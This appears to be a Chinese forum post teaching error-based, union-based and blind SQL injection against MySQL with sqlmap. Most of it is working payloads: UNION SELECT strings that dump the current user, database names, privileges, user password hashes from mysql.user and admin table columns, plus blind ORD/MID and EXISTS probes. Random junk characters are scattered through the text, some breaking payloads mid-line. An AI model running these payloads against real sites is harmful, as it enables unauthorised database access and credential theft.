放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
1 H! E2 N8 k8 u6 y' i ! z' T2 X4 o% U: r! Z
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
2 U# E) ?2 |; F7 F; X: m) Y; G9 G6 ?) M. k
% O+ @0 y x: f% {# k分类标准 分类 备注
! k$ r& {' x% |0 B8 F9 m2 j/ O按字段类型 整型注入,字符型注入 : v9 i( s4 R2 A$ M6 t
按出现的位置 get注入,post注入,cookie注入,http header注入 0 O- Y6 w3 ?- r+ p6 A6 {
然而高级注入是这样的, ?" N; \# G; B) [
+ l. x: W( D! S- A高级注入分类 条件; G* Q1 |( @( d. ?* Y1 h
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
0 C% Q4 G. b) @2 F, G# C2 v( ~union-based sql 能够使用union,存在数据库,表结构
4 s) e" @6 p5 K# V C- m9 H( C# H; \blind sql 存在注入
, Q! V/ K/ K( m& u: ?) m; F我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
Q# [" |4 V% z: I
/ p+ o! y8 x2 x5 ^% U* @2 S好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
) K$ L# i9 T: G! \& J5 C6 @1 o ) _0 p0 q% b! C& g9 C% J
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。- T6 k& m- N- `/ f
$ U( i: V* Q7 H- y4 e
这里用mysql说明7 u& ^+ c4 h1 N0 k1 m/ c
- c5 B8 z8 N' J/ v" S& fe注入坛子里很多了,请看戳我或者再戳我, N6 G7 O% \, v$ C* K
9 u l1 T' C9 _: s8 l( ku注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
# d5 v* C0 ~! z6 q+ S( q7 r! i( ` . ^7 y1 D# J* c
获取当前数据库用户名& V7 ^+ X* F7 G/ o. c% B
; V9 r: F2 D' l4 Y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C* `" L0 a0 L. Z! V
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL/ X& ~3 q2 S, o/ z2 I3 G
L, NULL#6 ^' `" Z( U: M3 O
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。6 ]$ g) y. Z8 k/ l7 t5 s; O
. }5 L5 D9 p8 U8 `/ H3 g5 N7 E
获取数据库名; v6 O& ]/ E: s" Z
1 m& J( f3 @7 V- W. T2 VUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
{& w0 k. k5 C1 b获取所有用户名# W4 k1 Z; N2 R8 U
- t1 v& o6 R4 m
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
" U5 G; n; v$ R0 g1 t查看当前用户权限
: a/ s, c9 M z. M [. ? 7 z, Y6 Q* i1 ?4 S
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
) j5 B$ y7 V- r% _0 \尝试获取密码,当然需要有能读mysql数据库的权限# v, o6 b! w( y0 Z% b
6 t0 s2 |. P* N7 Z) ?5 H# ~UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
7 \ \0 @1 ?6 W获取表名,limit什么的自己搞啦
! L4 _0 Y$ s; W4 Z9 l / P" S& b% x; y3 s' H4 q
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
; A; f$ |7 a4 C% |8 a: ~获取字段名及其类型
, t0 O5 ]' g( X+ BUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
7 I, O: u8 C3 p
0 @ V6 g4 Y o( lb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。/ D0 e" F4 X0 `0 ?( J% y j, x
0 c# t2 v: K- \2 j# u
如: T% a0 }6 C! T' B6 _, `9 q
获取当前用户名) N, z" g0 {" T7 G# g( N
8 T0 j) b) x6 B. _4 CAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
& d |& n8 u. F' S V. Y5 O, C获取当前数据库/ H4 L6 q2 a& D4 l& A* `& ?) u
% B; S! X# G6 f1 [/ }
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
7 z9 e) I" }' Z' {! G获取表名9 E: R' g3 j) `
7 _+ S' H" H+ ?9 mAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
5 Q* Y! S+ u" m( a6 x( I1 y; F获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
1 [, h8 g% M7 I& t1 R( u! O* Q回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。) B/ f# `5 S; ?% t' v. l
爆表- U4 ]4 N5 q( T6 j# M0 \
z1 b8 ~/ K" C8 T5 Z3 a9 p, N
AND EXISTS(select * from table)
, H% r( K [) k+ t爆字段8 P* ?; w8 I1 s+ j4 Q3 ?) p
6 F/ i$ C, ?/ H" W. SAND EXISTS(select pwd from table)0 ~( r+ a/ X6 s' k3 T0 U% C
盲注的变化就比较多了,由于篇幅,只是举个例子而已。2 g1 j. z3 M' X! O1 d0 I$ A1 K
9 Y" ~5 w4 G8 W1 f( }* s3 Q0 g7 E本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
' E9 B# J. W: V7 h8 M0 V7 @ |